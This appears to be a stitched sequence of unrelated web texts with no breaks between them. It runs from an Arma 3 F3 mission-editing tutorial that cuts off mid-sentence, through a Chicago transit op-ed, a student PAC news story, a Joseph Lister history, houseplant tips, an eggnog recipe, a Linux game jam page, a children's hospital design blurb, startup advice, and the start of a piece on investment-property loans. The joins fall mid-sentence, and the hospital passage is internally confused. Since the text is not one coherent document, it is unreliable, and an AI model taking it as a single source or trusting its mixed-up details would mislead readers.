GrpCSAT_CO GrpCSAT_ASL GrpCSAT_BSL GrpCSAT_CSL GrpCSAT_A1 GrpCSAT_B1 GrpCSAT_C1 GrpCSAT_A2 GrpCSAT_B2 GrpCSAT_C2 GrpCSAT_A3 GrpCSAT_B3 GrpCSAT_C3
When you've finished deleting all the pre-placed CSAT units and empty vehicles not required for your mission, the CSAT platoon should look like this (13 groups, with a total of 46 units):
The CSAT CO element contains 4 units: the CO, a medic, a UAV operator and a Repair Specialist. For reasons of balance, we're going to remove the UAV operator and Repair Specialist. Hover over them (they should be the right-most units in the group) and delete them.
When you've finished deleting all the UAV operator and Repair Specialist, the CSAT platoon should be 13 groups, with a total of 44 units.
You now have all the playable units required for your mission. There is no need to worry about gear, group markers etc. because these are already taken care of (those features, and more, are explained in detail towards the end of this tutorial).
Positioning the playable units
The hilltop outpost that NATO will attempt to defend in your mission is located in the North-East of the island of Altis, just North of the town of Delfinaki. Begin by positioning the NATO groups inside the perimeter of the camp. Since all the units will be playable, you can simply place the groups within the camp and trust that players will find positions of cover after the mission begins. Here is one possible option for placing the NATO groups:
Next, place the CSAT groups in the terrain around the cap. You can place the CSAT groups however you wish, but one possible option is to make use of the slopes to the North, West and South-West of the camp. Here is one possible option for the CSAT groups:
All your mission's playable units are now in position.
Placing some map markers
Map markers can be very useful in briefings. Since your mission is very simple, it only needs a single marker to denote the location of the camp. Place an red 'Objective' icon map marker on the camp and name it mkrOutpost. Make a note of the map marker's name as you will need that later. When you are creating the new map marker the dialogue should look like this:
Note: F3 comes with 2 pre-placed map markers (named f_insert and f_extract), which can be found near the original location of the pre-placed NATO platoon; delete these pre-placed map markers.
Creating endings using the Casualties Cap component
Your mission must have two endings: one when all CSAT players have been killed, and another when all NATO players have been killed. To trigger the endings, your mission will use the Casualties Cap component within F3. The Casualties Cap component automatically senses the percentage of casualties taken by a side (or specific groups), and triggers an ending when that threshold is reached. This is achieved by working closely with the Multiplayer Ending Controller component.
The code that controls the Casualties Cap component is found in the init.sqf file. In the a58_visit_v1.Altis folder, locate the init.sqf file and open it with your text editor. Near the top of the init.sqf file, look for this line:
// F3 - Casualties Cap
Underneath this line you'll see a block of code that includes these lines:
// BLUFOR > NATO // [BLUFOR,100,1] execVM "f\casualtiesCap\f_CasualtiesCapCheck.sqf"; // OPFOR > CSAT // [OPFOR,100,1] execVM "f\casualtiesCap\f_CasualtiesCapCheck.sqf";
Your mission will use ending #1 for when 100% of all NATO units are killed, and ending #2 with 100% of all CSAT units are killed. Begin by selecting the line:
// [BLUFOR,100,1] execVM "f\casualtiesCap\f_CasualtiesCapCheck.sqf";
Change this line to read:
[BLUFOR,100,1] execVM "f\casualtiesCap\f_CasualtiesCapCheck.sqf";
Now select the the line:
// [OPFOR,100,1] execVM "f\casualtiesCap\f_CasualtiesCapCheck.sqf";
Change this line to read:
[OPFOR,100,2] execVM "f\casualtiesCap\f_CasualtiesCapCheck.sqf";
When you're finished, that block of code should look like this (screenshot is outdated and refers to an obsolete file-path):
Your mission will now end automatically when either all NATO or all CSAT players are killed, then show the appropriate debriefing (detailed instructions for configuring the debriefings are included later in this tutorial).
Finishing touches
Adding briefings using the Briefing Template component
Your mission will include briefings for both factions using F3's Briefing Template component. The two script files you must edit to create the NATO and CSAT briefings are:
Faction File Location NATO f_briefing_nato.sqf a58_visit_v1.Altis\f\briefing\ CSAT f_briefing_csat.sqf a58_visit_v1.Altis\f\briefing\
Note: For detailed guidance on using the Briefing Template component, see the Writing Briefings page.
NATO briefing
Open the f_briefing_nato.sqf file in a text editor. Near the bottom of the f_briefing_nato.sqf file, look for this line:
// NOTES: SITUATION
Underneath this line you'll see a block of code that includes these lines:
*** Insert general information about the situation here.*** <br/><br/> ENEMY FORCES <br/> *** Insert information about enemy forces here.*** <br/><br/> FRIENDLY FORCES <br/> *** Insert information about friendly forces here.***
Change the block of code, editing the lines that begin and end with asterisks, so it reads:
The enemy is about to assault our position at our <marker name ='mkrOutpost'>camp</marker>. <br/><br/> ENEMY FORCES <br/> Up to a platoon of enemy infantry. <br/><br/> FRIENDLY FORCES <br/> None.
In your mission, this part of the briefing will look like this:
Note: The first line of the revised code block includes a reference to the map marker created earlier in this tutorial. When the mission is played, players will be able to click on the word 'camp' and the map will automatically centre on the map marker named mkrOutpost.
Still in the f_briefing_nato.sqf file, look for this line:
// NOTES: MISSION
Underneath this line look for the line:
*** Insert the mission here. ***
Change this line to read:
Kill all attackers.
In your mission, this part of the briefing will look like this:
Still in the f_briefing_nato.sqf file, look for this line:
// NOTES: EXECUTION
Underneath this line you'll see a block of code that includes these lines:
COMMANDER'S INTENT <br/> *** Insert very short summary of plan here. *** <br/><br/> MOVEMENT PLAN <br/> *** Insert movement instructions here. *** <br/><br/> FIRE SUPPORT PLAN <br/> *** Insert fire support instructions here. *** <br/><br/> SPECIAL TASKS <br/> *** Insert instructions for specific units here. ***
Change the block of code, editing the lines that begin and end with asterisks, so it reads:
COMMANDER'S INTENT <br/> Take cover and engage attackers as they near the camp perimeter. <br/><br/> MOVEMENT PLAN <br/> Stay within the camp perimeter. <br/><br/> FIRE SUPPORT PLAN <br/> No fire support is available. <br/><br/> SPECIAL TASKS <br/> None.
In your mission, this part of the briefing will look like this:
Still in the f_briefing_nato.sqf file, look for this line:
// NOTES: ADMINISTRATION
Underneath this line look for the line:
*** Insert information on administration and logistics here. ***
Change this line to read:
No vehicles or additional supplies are available - you only have what you are carrying.
In your mission, this part of the briefing will look like this:
Finally, still in the f_briefing_nato.sqf file, look for this line:
// NOTES: CREDITS
Underneath this line you'll see a block of code that includes these lines:
*** Insert mission credits here. *** <br/><br/> Made with F3 (http://www.ferstaberinde.com/f3/en/)
This block of code contains a message about the mission being made with F3, so we'll leave that alone in this tutorial. Change the block of code, editing the lines that begin and end with asterisks, so it reads (where YourPlayerName is your own playername, and YourCommunityName is your community's name):
Made with love by YourName for the YourCommunityName. <br/><br/> Made with F3 (http://www.ferstaberinde.com/f3/en/)
In your mission, this part of the briefing will look like this:
Now save and close the f_briefing_nato.sqf file. You have created the NATO briefing.
CSAT briefing
Open the f_briefing_csat.sqf file in a text editor. Near the bottom of the f_briefing_csat.sqf file, look for this line:
// NOTES: SITUATION
Underneath this line you'll see a block of code that includes these lines:
*** Insert general information about the situation here.*** <br/><br/> ENEMY FORCES <br/> *** Insert information about enemy forces here.*** <br/><br/> FRIENDLY FORCES <br/> *** Insert information about friendly forces here.***
Change the block of code, editing the lines that begin and end with asterisks, so it reads:
The enemy still holds a nearby <marker name ='mkrOutpost'>camp</marker>. <br/><br/> ENEMY FORCES <br/> Up to a squad of enemy infantry. <br/><br/> FRIENDLY FORCES <br/> None.
In your mission, this part of the briefing will look like this:
Still in the f_briefing_csat.sqf file, look for this line:
// NOTES: MISSION
Underneath this line look for the line:
*** Insert the mission here. ***
Change this line to read:
Kill all defenders.
In your mission, this part of the briefing will look like this:
Still in the f_briefing_csat.sqf file, look for this line:
// NOTES: EXECUTION
Underneath this line you'll see a block of code that includes these lines:
COMMANDER'S INTENT <br/> *** Insert very short summary of plan here. *** <br/><br/> MOVEMENT PLAN <br/> *** Insert movement instructions here. *** <br/><br/> FIRE SUPPORT PLAN <br/> *** Insert fire support instructions here. |
the amount of tram service. Both cities rely heavily on trams that come every three to six minutes, which can carry more people than buses can.
My experiences riding transit in the ten European countries and dozens of cities I’ve visited this decade inspired the following list of best practices that should be applied in Chicagoland.
1. Widespread availability of dedicated bus lanes. Bus-only lanes are one of the best ways to speed up bus travel, and they seem to be the rule, rather than the exception, in European city centers. The millions of dollars the Chicago Transit Authority is currently spending on a new radio and software package to better communicate with bus drivers and fight bus bunching is using technology to solve a geometry problem. The CTA may gain a few seconds here and there by avoiding bus-bunching, but that’s nothing compared to the time savings from well-enforced bus-only lanes. The Loop Link system is a step in the right direction, but it needs to be refined, and dedicated lanes need to be added to as many other bus lines as possible.
2. More doors on buses. Chicago Transit Authority buses need more doors so people can get on and off faster, and they should order these buses with extra doors on their next contract to speed up boarding and alighting. Buses that are going to be used on the busiest routes should have three doors minimum. However, I’ve even seen four doors on standard-length buses in other cities. It’s rare to see a bus in European city centers with only two doors, and you’ll never find an articulated bus with fewer than three doors; the CTA uses only two doors on its “bendy” buses. Zurich and Lucerne each use double-articulated buses that have five doors, which I’d recommend the CTA use on high-ridership routes like the #66 Chicago Avenue line.
3. All-door bus boarding. The CTA has tested all-door boarding, but in a rather labor-intensive, awkward, way at two stops. At the Belmont Blue Line station, passengers pay at an outdoor turnstile and enter a waiting pen until the bus comes. On many bus routes in Europe, riders board through any door and show proof of fare if asked by an inspector. This is a policy that can be route and bus dependent. Some buses and routes in Budapest require that you show the driver your pass, and others – mostly the routes that use the highest-capacity buses – don’t. Doors can be built and marked to enforce a two-way or exit-only policy.
San Francisco MTA buses have had all-door boarding for years.
4. Standardized information displays. CTA, Metra, and Pace each have their own design standard, and the Regional Transportation Authority offers a fourth. There can be more if there are outdated signs and maps that haven’t been replaced. Sometimes the City of Chicago shows off their own design, which is prominent in the underground pedway that connects CTA and Metra stations.
In Budapest, the transit “network coordinator” is BKK, which also operates local bus routes. In addition to making sure every route logo, map, and sign looks the same, they integrate wayfinding for the BuBi bike share system to instruct “exit here to find the bikes” instead of elsewhere in a subway station.
The common design is most prominent inside every bus, trams (operated by a different company), subway car, and suburban train (also operated by a different company): Large LCD screens inside the vehicles show upcoming stops and stations and the transfers you can make there, powered by the same app. The CTA tried this on the J14 Jeffery Jump, but it didn’t always work well, and the last time I rode that route the screen was switched off.
Common branding and design aspect also makes a transit system easy to use for tourists. Tourists shouldn’t have to spend time trying to understand the intricacies of a transit system, or system of systems, when they visit a city. The RTA is attempting to make it easier for people to find efficient walking routes for connections between Metra and CTA in downtown Chicago at Union and Van Buren Street stations.
Tourists shouldn’t have to know that one route is operated by one company and requires a different ticket than another route operated by a second company.
5. Fare integration. The three Chicago operators have a single payment method – even though using Ventra to buy a Metra ticket is one of those intricacies because you need a smartphone app, not the card – but they don’t have fare integration. There’s no single pass or ticket that allows you to transfer between Pace and CTA routes and Metra routes.
I could ride any route in Budapest with my five-day pass, regardless of which company operated the route. Frankly, it’s nigh impossible for someone to detect that different companies operate different modes in Budapest. In Zurich, too. I could ride any route in the city using my combined transit and museum pass – including intercity and suburban trains in the adjacent fare zones.
These aspects are standard operating procedure in transit systems around the world. If it happens, Mayor Rahm Emanuel can try stealing workers and businesses from Europe in addition to West Coast tech workers.Penn State student leaders Terry Ford and Kevin Horne launched the student-focused local political action committee BugPAC Tuesday night in the HUB-Robeson with a rally for students to hear from their endorsed mayoral candidate Michael Black and borough council member seeking re-election Evan Myers.
Horne, the president of the Graduate and Professional Student Association, and Ford, president of the University Park Undergraduate Association, introduced the initiative which they said seeks to reclaim State College for student interests. Students, they said, represent 70 percent of the borough council’s constituency but feel ignored by much of the current borough council.
[Editor's note: Horne is editor emeritus of the student-run OnwardState.com, which is owned by StateCollege.com parent company Lazerpro Digital Media.]
“Dozens of student leaders from a diverse range of organizations have been working diligently over the past year to find pro-student candidates to run for borough council who would represent the interests of all residents, regardless of your student status,” Horne said. “We’ve endorsed four great candidates who we believe will take this town and take the Borough to new heights.”
In addition to Black, a local business owner, and Myers, BugPAC has also endorsed for council graduate student and current GPSA Vice President Marina Cotarelo and Penn State Director of Student Orientation and Transition Programs Dan Murphy.
“Us ‘bugs’ have had enough,” Horne said, referencing the campaign’s name that comes from an offhand comment made by current borough councilwoman Theresa Lafer, who said students would coalesce “like bugs” around lights if the borough installed them in downtown alleyways.
“No longer will our borough representatives be able to get away with calling students low-lifes, miscreants, drunks, and bugs and manage to keep getting elected over and over again,” Horne said. “We can transform this borough into a welcoming place for students and those long-term residents who appreciate the energy that students in college towns create.”
With the low voter turnout that occurs because many students have already left town by the time of the primary election, Ford said that electing BugPAC candidates is attainable if students register to vote in State College and request absentee ballots.
“The problem is that the primary is in May, when thousands of students leave the area and are not voting,” Ford said. “In what other town can elected officials continually insult 70 percent of their constituency and still get reelected year after year?”
Horne and Ford opened the floor to BugPAC endorsed mayoral candidate Michael Black, who moved to State College as a graduate student nearly 30 years ago and now owns a creative studio in State College. Black emphasized five core values important to him in his campaign — inclusivity, mindfullness, empathy, creativity, and vibrancy — but said the most critical asset in State College is talent.
“If we harness the people talent in this town, imagine what we can do,” Black said.
Borough council incumbent Evan Myers, a vice president at AccuWeather, explained his history coming to Penn State as a student and working in the student government at the time. “I’ve always felt that it’s important to give voice to everyone — homeowners AND students,” Myers said. Two of his children are currently students at Penn State.
Leading up to the primary election, BugPAC says it will continue to facilitate voting registration and absentee ballot requests.
The primary election is May 16.The year is 1800 and you are lying in a hospital bed. You broke your leg and need surgery to set it. In other words, you’re dead.
You’re not literally dead of course, that comes soon, but not quite yet. Before then, you have to lie in a dirty hospital bed as the “good old surgical stink” fills the air. You have to watch a moustachioed surgeon, proudly sporting a blood-stained coat, as he extracts a metal probe from the gangrenous stump of an amputee that lies in the bed beside you. You watch him leave the patient screaming in agony before walking over to your bed and begin examining your leg with the same metal probe.
To cut a long and tragic story short, here is a summary of the events that follow.
Your leg gets infected
Your leg gets amputated
Your stump gets infected
The infection spreads to your blood
You die
Life in the 1800s is grim.
Dangerous times
If you cut your finger within 100 meters of a hospital you would probably get infected and die. People realised this and towards the middle of the 1800s there was a large movement to ban surgical procedures as they were deemed too dangerous.
Can you imagine a modern day procedure so dangerous that, if carried out, most of the medical community would try and ban it? I can’t. Just trying to think of such a procedure quickly leads your mind down a gory rabbit hole, but this was life in the 1800s.
In the mid 1800s a young doctor named Joseph Lister was working as a dresser for the renowned surgeon Sir John Erichsen. This meant that he was responsible for changing the bandages on Erichsen’s patients. One day, Lister was wheeling a patient outside; he had a deep wound on his shoulder that was oozing a steady stream of putrid yellow gunge. The smell coming from this type of wound was known as a miasma and was thought to be the cause of infections. If these miasmas were allowed to concentrate, especially with several patient in a ward then the infection would spread. For this reason patients were often taken outside with open wounds in order to purge the miasma and avoid the dangerous buildup of gas that could spread disease.
This didn’t sit well with Lister at all. He noticed that if wounds were properly cleaned and dressed, they healed regardless of how smelly the room was. He hypothesised that something was going on inside the wound and that miasma had nothing to do with it.
A stroke of brilliance
Lister was a scholar. One day he was reading a paper called “Recherches sur la putrefaction” by the French scientist Louis Pasteur. Pasteur claimed that food spoilage could be caused by microorganisms, even if oxygen wasn’t present. While reading Pasteur’s work, Lister came up with the idea that it wasn’t actually miasma that was causing infection, but microbes, exactly as Pasteur had described in food.
Makes sense, right? Well, not to the medical community at the time. Lister’s ideas were tantamount to heresy and he kept them to himself. He was in an ideal situation to test his hypothesis, but how should he do it?
Pasteur said that there are 3 ways to eliminate microorganisms:
Heat
No good. This required temperatures in excess of 70 degrees celsius. Lister thought the patients were suffering enough.
Filtering
Also not a great option; how do you put an infected wound through a filter?
Chemicals
This was the one for Lister since he could treat wounds with chemicals known to kill bacteria.
And he did. Lister knew that a nasty chemical called creosote was used to disinfect sewage and to stop wood from rotting. He took an extract of creosote called carbolic acid (now known as phenol) and started applying it to surgical wounds in his ward.
I imagine that would sting a bit.
As much as it may have stung, Lister’s patients began to get better. He noticed that treating the wounds and surgical instruments with carbolic acid, the mortality on the ward decreased. He couldn’t keep this finding to himself as it did not “seem right to withhold it longer from the profession generally”.[1]
He published two papers in the Lancet in March and July of 1867 and was met with brutal opposition. However, Lister was right and nobody could deny the results when his methods were tried in their own hospitals.
A great man
photo by AJC1 used under Creative Commons (CC BY-NC-ND 2.0)
Joseph lister addressed a huge problem in medicine, a problem causing agonising deaths and that lead to the medical community almost abolishing surgical procedures altogether. He applied Louis Pasteur’s “Germ Theory” to hospitals, which is still used today. He became famous and even in his retirement was consulted on the appendectomy of King Edward VII of England. He received numerous honours, he was president of the Royal Society, made a Baron by Queen Victoria, and even had two genuses of microorganisms named after him (Listeria and Listerella). His crowning achievement would have to be giving his name to the mouthwash brand Listerine.
Thanks to this great man and his even greater sideburns, if you went into hospital with a broken leg, you would come hobbling out with a bit of a phenol burn, but the fact that you could hobble out at all is nothing short of a miracle.
Reference
Ackerknecht EH. A short history of medicine. Baltimore and London: The Johns Hopkins University Press; 1982
Feature photo by <p&p>photo used under Creative Commons (CC BY-NC-ND 2.0)
AdvertisementsI’ve found growing plants in my home has inspired many of my friends to want to follow suit. Many admit that they would love to have plants in their house, but they fear they have a black thumb. “I can’t even grow cacti,” one friend confessed. As you can imagine, the number-one question I get asked is, “What plants won’t I kill?”
Plants are living creatures. If you don’t give them some level of soil, water and sun — and a little boost of nutrients from time to time — chances are they won’t survive. It just so happens, however, that some plants are more resilient than others, making them far easier to care for. These are my top recommendations of plants that are best for beginners.
1. Chinese Evergreen (Aglaonema commutatum)
Chinese evergreen is an attractive variegated foliage plant that grows well in low to medium light. I first got my Aglaonema for my bathroom so I could add some green to the last room in my house that was lacking foliage. The soil should be evenly moist, but can survive bouts of dryness. It’s important to note that the plant has a sap that is an irritant, so it’s best to keep away from curious pets and children.
2. Snake Plants (Sansevieria sp.)
Snake plants are a tough, leathery succulent with sword-shape leaves that are either edged with yellow or mottled with gray spots and squiggles. They grow best in bright light, but can tolerate low-light conditions. Although I’m not a fan of the snake plant aesthetic, it is an incredibly resilient plant. I encourage anyone who feels as if they have a “black thumb” to try growing this one.
3. Zeezee plant (Zamioculcas zamiifolia)
I first came across the Zeezee plant after asking my local horticulturist for a recommendation of a plant that can grow under my kitchen sink to hide the pipes from view. She naturally suggested the Snake plant, but I asked her for an alternative and this was the winner. The Zeezee plant has fleshy, glossy leaves that look like wax. Like the Snake plant, it grows best in bright light, but will tolerate low light. If you're someone who forgets to water plants, the Zeezee also prefers dry soil. Since bringing this plant into my home, a friend who travels frequently also bought one, and both of us have great growth on our plants.
4. Dumbcane (Dieffenbachia sp.)
I purchased Dumbcane to hide the pipes of my bathroom sink and have been very pleased with its growth, since it's shrubby and shoots out multiple stems. Mine grows in low light, away from a North-facing window. It thrives in low to medium light. It derives it’s name because it contains raphides, which can cause stinging and burning sensations in the mouth and throat, so be sure to wash your hands if you have to cut the plant, and also be mindful around pets and children.
5. Schefflera (Schefflera sp.)
My mother has a Schefflera that's been growing for more than thirty years. This bushy, treelike plant with glossy, umbrella-like leaves enjoys bright light and is a strong grower. Five years ago I bought a Schefflera on the side of the street, which clearly had been compromised. I nursed it back to health, and that’s when I realized how resilient these plants could be, particularly if you give them enough light and water.
6. Spider Plant (Chlorophytum comosum)
Spider plants are fun plants to grow because they have a neat growing structure that makes them easy to propagate. Healthy plants often create stolons with plantlets at the ends, which give the plant a “spidery” look. You can grow the plants in hanging baskets or in pots. I have at least six of these in my house — they grow in everything from indirect light to bright light.
7. Radiator Plant (Peperomia sp.)
Peperomias are small houseplants that are good in low or medium light, although I have one growing directly in a north-facing window. There are lots of Peperomia plants to choose from. I have one that has waxy, round leaves, and I keep it covered with a glass case and rarely water it because the condensation that forms in the enclosed container surprisingly seems to provide enough moisture for the plant.
8. Cast-iron plant (Aspidistra elatior)
This is an incredible plant for beginners because as the name may indicate, this plant is virtually indestructible. It's extremely tolerant of low-light conditions and irregular watering. The only thing this hardy plant doesn’t seem to tolerate is direct sun, which bodes well for those of us who may not have big windows.Jump to Ingredients – Jump to Method – Jump to Printable Version
Only available for purchase in most areas during the holiday season, eggnog delights as well as frustrates people every year. Why should such a rich, creamy, delicious treat be available so rarely? I see no reason to wait for retailers to decide that it is time to indulge! Luckily, for eggnog lovers, it is easy to make at home with simple ingredients and, as usual it tastes even better when you make it yourself! Double bonus!
Now, I must admit that I was not raised on eggnog. I have no timeless family recipe to treasure. My husband loves eggnog, however, and whenever he comes to the grocery store with me this time of year he sneaks a carton of nog into the cart. I thought I’d do something nice for him this time and make it from scratch. I have come to love it as much as he does so I was excited to learn how it was made. After a lot of research I have come to understand that there are different styles of eggnog. There is the “fluffy” kind that is usually made of beaten egg whites that are brought to a fluffy meringue consistency as well as freshly whipped cream that are folded into beaten egg yolk along with milk and flavourings. This kind of eggnog is usually made with alcohol (though not always) and the eggs are of course raw. Then there is the thick rich type of eggnog. This kind is basically just a thin drinkable custard. Now, when I say thin, I mean thin for custard, as far as drinks go, it is very very thick. This kind of eggnog can be made with raw or cooked eggs and some recipes use only yolks while others use whole eggs. It can be made to be alcoholic too but is often served virgin. This is more like the kind sold in those cartons in grocery stores. It is the kind that my husband likes, so it is the kind I learned how to make.
This eggnog can be prepared with raw or cooked eggs. I like to cook the eggs because I think the end result is thicker and more creamy. You can opt not to cook the eggs and it will still make a very nice eggnog, just be sure to take all the typical precautions when serving raw eggs (Don’t serve to elderly, young children,pregnant women, or people with compromised immune systems). Cooking the eggs will make it safe to serve to anyone. Also this is a non-alcoholic eggnog. You can replace some of the milk in the recipe with rum, bourbon, brandy or any alcohol of your choice, or you can just add a little bit to the finished eggnog before drinking. Try adding some Kahlua, Baily’s Irish cream, or Godiva liqueur to the finished product! Delicious!
This recipe will yield about 6 cups of eggnog. This should be enough to serve 4 to 6 people, depending on how much each person drinks of course.
6 Eggs
Use large eggs.
3 cups Milk
There is actually going to be four cups of dairy all together. To get the consistency and flavour that I like the best, I have settled on splitting the dairy into 3 cups of milk and 1 cup of heavy cream. You may choose to use all milk, all heavy cream, or even substitute alcohol for a quarter to half of the milk if you want to. For the purposes of this recipe I will just list the exact ingredients that I like to use. Still, I want you to be aware of your options.
1 cup Heavy Cream
Also known as whipping cream or double cream. This ingredient can be substituted with milk or alcohol.
1 cup Sugar
White sugar or dehydrated sugar cane will work. I am using ordinary white sugar today. Also, I like to measure this a little scantly. There may be about a tablespoon or two less than a cup here. This is just my personal preference because I like it slightly less sweet. Feel free to use a full cup or a bit less sugar.
½ teaspoon Vanilla Extract
I strongly urge you to pay a little extra for the real stuff.
½ teaspoon Salt
I use sea salt, but table salt will work. This ingredient is optional, but recommended.
Nutmeg to taste
Fresh ground nutmeg is better than preground but either will work. I am using preground nutmeg this time.
In a mixing bowl, whisk together 1 cup sugar and ½ teaspoon salt.
Crack 6 eggs into the mixing bowl and whisk all ingredients together.
Whisk very well until it forms a homogeneous mixture.
Pour 3 cups of milk into a large pot and turn the heat up to medium.
Pour the egg mixture into the milk.
Whisk the egg mixture and milk together very quickly.
Continuously whisk while it heats up. You want to get the mixture to about 150 to 160 degrees Fahrenheit. If you have a food thermometer you can keep track of the heat that way, but if you do not have one simply heat the mixture until you start to see a little steam, then give it another 30 to 60 seconds to cook while whisking. You will notice that it thickens a bit and becomes smooth. This means it’s ready. I timed it and it took about 5 minutes to get it to 160 degrees. Don’t overcook it because the eggs will coagulate and you’ll be left with sugary scrambled eggs.
Take the pot off the heat as soon as the desired temperature is reached. Add 1 cup of cream (or alcohol can be added at this point if you choose).
Add ½ teaspoon vanilla extract.
Finally, mix once more. You may have noticed that we did not add nutmeg. According to my husband, eggnog is not supposed to have nutmeg directly mixed into the drink and it should only be sprinkled on top prior to drinking. So I do it the way he likes it. You can certainly add some nutmeg into it during this last mixing stage. I would recommend adding a very small amount, perhaps a half teaspoon to start with, and adjust to taste.
Put the eggnog into a bowl or pitcher and cover. Refrigerate for at least 3 hours but 6 to 8 hours is best. For quicker cooling, put the eggnog into smaller, separate containers. It will thicken even more as it cools.
When the eggnog is very cold and it is time to serve, stir or shake it very well and pour into serving glasses. Dust the top with nutmeg.
Now you can enjoy this fantastic drink all year! Hurray!
Print This!
EGGNOG Ingredients: 6 Eggs 3 cups Milk 1 cup Heavy Cream 1 cup Sugar ½ teaspoon Vanilla Extract ½ teaspoon Salt Nutmeg to taste Method: 1. In a mixing bowl, whisk together 1 cup sugar and ½ teaspoon salt. 2. Crack 6 eggs into the mixing bowl and whisk very well until homogeneous. 3. Pour 3 cups of milk into a large pot and turn the heat up to medium. 4. Pour the egg mixture into the milk and whisk very quickly. 5. Continuously whisk while it heats up. You want to get the mixture to about 150 to 160 degrees Fahrenheit. If you have a food thermometer you can keep track of the heat that way, but if you do not have one simply heat the mixture until you start to see a little steam, then give it another 30 to 60 seconds to cook while whisking. You will notice that it thickens a bit and becomes smooth. It will take about 5 minutes. 6. Take the pot off the heat as soon as the proper temperature is reached. Add 1 cup of cream and ½ teaspoon vanilla extract. (you may add a little nutmeg at this point if desired) Stir well. 7. Put into a bowl or pitcher and refrigerate until it is cold and thick. (around 8 hours is best) 8. When ready to serve, stir or shake the eggnog well and pour into serving glasses. Dust with nutmeg.This jam is now over. It ran from to. View results
Hey, my name is Gardiner. I run the YouTube channel The Linux Gamer. I thought it would be fun to create a Linux Game Jam to promote Linux as a gaming platform. In case you missed it, here's the announcement video.
There are no winners or losers, really. My reasoning for allowing votes is mostly to curate the best stuff. By that criteria, vote for the games you like the best.
Here are the rules:
Your game's art assets and programming should be made within said time frame.
Your game must be submitted to this page.
Your game must have a Linux build.
Your game can use Godot, Unity, Love2d, any others, or your own custom built engine.
You get exactly one bonus point if your game is open source. Bonus points are meaningless.
Make sure your submissions has any dependencies listed on the page!!!
Here's my postmortem of this event. Read it and let me know what you think.Such as the Queen Elizabeth Hospital in Birmingham, that usually used an artistic theme and colour palettes that used externally or internally on the building to help guiding the staff, patients and the visitor through the building colour. This is the Queen Elizabeth Children Hospital that designed in colorful interior theme, the furniture and wall decorating ideas are designed with creative and adjusted with children personality.
The most popular Queen Elizabeth Children Hospital in Berlin, collaboration with Dan Pearlman Creative agency was created a Modern children hospitals which is features a very colorful interior design. The interior was decorated with the design of the story as the main concept. The hospital is consist of three colored rooms, there are: Sandburg room (sand caste), Palmehutte room (coconut hut), and Klipper room (sailing ships). Each rooms is decorated with a variety of high quality furniture in various shapes, colors, materials, light and fresh air to help provide a positive atmosphere that is believed to help the healing process for children.Walter Chen is the founder and CEO of iDoneThis, the easiest way to share and celebrate what you get done at work, every day. On his downtime, he blogs about management, entrepreneurship, and happiness on the iDoneThis blog.
Most entrepreneurs dream about building the next big billion-dollar company. After all, who doesn’t want to be the next Steve Jobs or Mark Zuckerberg? It’s a fair aspiration, but oftentimes, the Apple, Google, and Facebook-shaped stars in their eyes end up clouding their vision. It’s easy to get caught up in envisioning your company going viral and getting to millions of users… before your business has made a single dollar.
All the hopes and visions in the world won’t get you any closer to your billion-dollar exit. In reality, setting out to build a billion-dollar startup is one of the biggest mistakes you can make.
Gary Chou, an instructor at the School of Visual Arts in New York City, teaches people how to launch a startup by taking an entirely contrary approach. His course in Entrepreneurial Design has an unconventional syllabus: Don’t spend time and energy on creating plans and decks for some imaginary billion dollar company. Build an actual $1,000 dollar company that’s profitable in a repeatable and sustainable way.
By creating a $1,000 startup, you’ll learn three valuable lessons.
1. You can make a living on your own
Your focus is inherently diffracted when you’re dependent on a day job to make a living or on investors to keep your business afloat. Your autonomy and creativity are severely limited by time and what other people want. At some point, to get anywhere you’ll have to step out on your own.
Self-sufficiency frees you from these outside restraints, and the first crucial step to self-sufficiency is when your venture reaches ramen profitability. Being able to pay your rent this way gives you the sense that you’ve made it out of the nest and taken flight all by yourself, and it’s this simultaneously scary and exhilarating feeling that will carry you forward.
2. What it takes to build a business
The fact that it took time for my company, iDoneThis, to hit $1,000 in recurring revenue was incredibly nerve wracking. But when we finally hit this milestone, I realized that all of our wait time did not go to waste. During this period, we’d figured out how to build something that people wanted to pay for and how to get it to them.
If you focus on building the next billion-dollar company, you’ll probably get sidetracked and immediately drawn to the promise of investor money instead of funneling your energy into making your first $10. The problem is that fundraising is much different from operating a company. I’ve seen many founders who’ve made a big splash with million-dollar seed rounds only to fall flat when it came to build a business.
Get the order of operations right and learn how to successfully build a business first without millions of dollars of investor cash at stake. This will give you the necessary experience, reliability, and credibility.
3. That $1,000 company might be bigger than you initially thought
Thinking of big billion-dollar concepts is actually a limitation, because it tends to result in some bad ideas. Famed investor and founder of Y Combinator Paul Graham says the best ideas are often what he calls “toys,” or ideas that you overlook because you don’t recognize them as touching on a billion-dollar opportunity.
You see, people are willing to pay for simplicity. By taking your time to figure out exactly what that is with an expendable venture, you have a higher chance of finding success with wider groups of consumers.
Which leads to our surprising twist: One of the best ways to build something big is to build something small and take it from there.
So, how do you build a $1,000 startup?
Here are the lessons I learned firsthand in building my own $1,000 startup:
Focus on one straightforward value proposition. The advantage you have as a small company is supreme focus. Pick one pain point and a single customer segment, and build a solution for them.
For my $1,000 startup iDoneThis, the product was so simple that people laughed at me and were incredulous at the idea that anyone would pay for it — and that’s how I knew that I was onto something.
Sell before you build. Getting to $1,000 in recurring revenue means learning as quickly as possible what customers want badly enough that they’re willing to pay for it.
Zirtual, a virtual personal assistant service, actually grew its initial revenue into the thousands before building a single piece of real technology. Founder Maren Kate Donovan ran the entire company off of spreadsheets, Google forms, and simple website builders. Sell up front to find out if you’re building something people want before you lose months and months to only building your product.
Minimum viable monetization. It’s extremely easy to get caught up in endless conversations about how to charge for the product, appropriate price points, and so on — but that mostly amounts to procrastination. Those things aren’t important because they can always be adjusted. What’s important is finding out whether people are willing to pay at all for your service.
Deploy a minimal monetization scheme – you might not make money off the bat but this is a simple and crucial fact you must learn before going forward. You should not feel ashamed to start a $1,000 startup – it’s better to succeed with a small company than to grow quickly but disappoint your audience.
Well, are you ready to take things… slow?
Image credit: Sergey Nivens/Shutterstock
Read next: Find making decisions hard? Crowdsource opinions using Tiinkk insteadBuying rental properties is a great way to invest your money, but qualifying for a loan on an investment property is not always easy. Loans on investment properties are much more difficult to get than a loan on an owner-occupied home and it will cost you more money as well. Many banks consider investor loans riskier than owner-occupied loans. The down payments are higher, the credit scores needed are higher, and the income requirements are greater for investor loans. This article will go over the different loans available on investment properties and how to qualify for them.
What is considered an investment property?
An investment property could be a rental property, a house flip, or a piece of vacant land. Banks are very specific on what they consider investment properties, and they base their loans on these classifications. Most banks lend on owner-occupied houses and investor-owned houses. Almost every bank has different loan options depending on what type of property you own.
